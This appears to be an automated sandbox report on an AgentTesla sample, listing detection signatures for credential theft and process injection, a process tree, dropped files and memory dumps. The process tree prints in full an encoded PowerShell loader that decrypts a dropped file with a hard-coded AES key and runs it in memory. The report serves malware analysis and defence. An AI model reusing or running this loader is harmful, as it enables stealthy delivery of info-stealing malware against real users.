Analysis

  • max time kernel
    149s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/05/2024, 01:09

General

  • Target
    29894553b6237d105f91a2b43be873b28ca6b0359167543d28ec35cd3e77c8c7.exe
  • Size 987KB
  • Sample240519-bhr1qsad93
  • SHA256 29894553b6237d105f91a2b43be873b28ca6b0359167543d28ec35cd3e77c8c7
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Detect packed .NET executables. Mostly AgentTeslaV4. 1 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 1 IoCs
  • Detects executables packed with or use KoiVM 1 IoCs
  • Detects executables referencing Windows vault credential objects. Observed in infostealers 1 IoCs
  • Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 1 IoCs
  • Detects executables referencing many email and collaboration clients. Observed in information stealers 1 IoCs
  • Detects executables referencing many file transfer clients. Observed in information stealers 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\29894553b6237d105f91a2b43be873b28ca6b0359167543d28ec35cd3e77c8c7.exe
    "C:\Users\Admin\AppData\Local\Temp\29894553b6237d105f91a2b43be873b28ca6b0359167543d28ec35cd3e77c8c7.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4640
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADQANwAsACAAMAB4AEEAOAAsACAAMAB4ADkANQAsACAAMAB4ADUARQAsACAAMAB4AEYAMgAsACAAMAB4AEQAQQAsACAAMAB4ADkAQQAsACAAMAB4AEEAMQAsACAAMAB4ADgAMwAsACAAMAB4ADQANwAsACAAMAB4AEEAMQAsACAAMAB4ADYARQAsACAAMAB4ADgANwAsACAAMAB4AEIANgAsACAAMAB4AEYANgAsACAAMAB4ADAARQAsACAAMAB4ADgAOAAsACAAMAB4AEMAQQAsACAAMAB4ADYAQwAsACAAMAB4ADIAQQAsACAAMAB4ADQAQwAsACAAMAB4ADAAOQAsACAAMAB4AEIARQAsACAAMAB4ADMANwAsACAAMAB4ADUAQgAsACAAMAB4AEUANgAsACAAMAB4AEMANAAsACAAMAB4ADkANAAsACAAMAB4AEUANAAsACAAMAB4AEMAOAAsACAAMAB4ADMARgAsACAAMAB4ADkANQApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAA1ADMALAAgADAAeAA0ADMALAAgADAAeAAxAEEALAAgADAAeAA1AEUALAAgADAAeAA2ADMALAAgADAAeABGADEALAAgADAAeAAyADIALAAgADAAeAA3AEQALAAgADAAeAA3ADgALAAgADAAeABGAEMALAAgADAAeAAzADYALAAgADAAeAA3ADMALAAgADAAeAAzADIALAAgADAAeABEADYALAAgADAAeAA4ADUALAAgADAAeAAwAEQAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
      2⤵
      • Suspicious use of SetThreadContext
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2520
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1924
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
        3⤵
          PID:2460

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_zx5c4qpy.deo.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zx5c4qpy.deo.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          file-15017.putik

          • Path C:\Users\Admin\AppData\Local\Temp\file-15017.putik
          • Size 33KB
          • SHA256 ecda43d8f11e4211b02c61572cb82269fcb8985a42b53caebeefff546253d26c
          • MD5 SHA1 SHA512 SSDEEP

          memory/1924-21-0x00000000745E0000-0x0000000074D90000-memory.dmp

          memory/1924-24-0x0000000006180000-0x0000000006212000-memory.dmp

          memory/1924-27-0x00000000745E0000-0x0000000074D90000-memory.dmp

          memory/1924-26-0x00000000745EE000-0x00000000745EF000-memory.dmp

          memory/1924-25-0x0000000006080000-0x000000000608A000-memory.dmp

          memory/1924-23-0x0000000006090000-0x00000000060E0000-memory.dmp

          memory/1924-17-0x0000000000400000-0x0000000000440000-memory.dmp

          memory/1924-18-0x00000000745EE000-0x00000000745EF000-memory.dmp

          memory/1924-19-0x0000000005790000-0x0000000005D34000-memory.dmp

          memory/1924-20-0x0000000005110000-0x0000000005176000-memory.dmp

          memory/2520-1-0x00007FFF97A53000-0x00007FFF97A55000-memory.dmp

          memory/2520-22-0x00007FFF97A50000-0x00007FFF98511000-memory.dmp

          memory/2520-16-0x000001CCF44D0000-0x000001CCF4564000-memory.dmp

          memory/2520-12-0x00007FFF97A50000-0x00007FFF98511000-memory.dmp

          memory/2520-15-0x000001CCF44A0000-0x000001CCF44AC000-memory.dmp

          memory/2520-2-0x000001CCF4350000-0x000001CCF4372000-memory.dmp

          memory/2520-13-0x00007FFF97A50000-0x00007FFF98511000-memory.dmp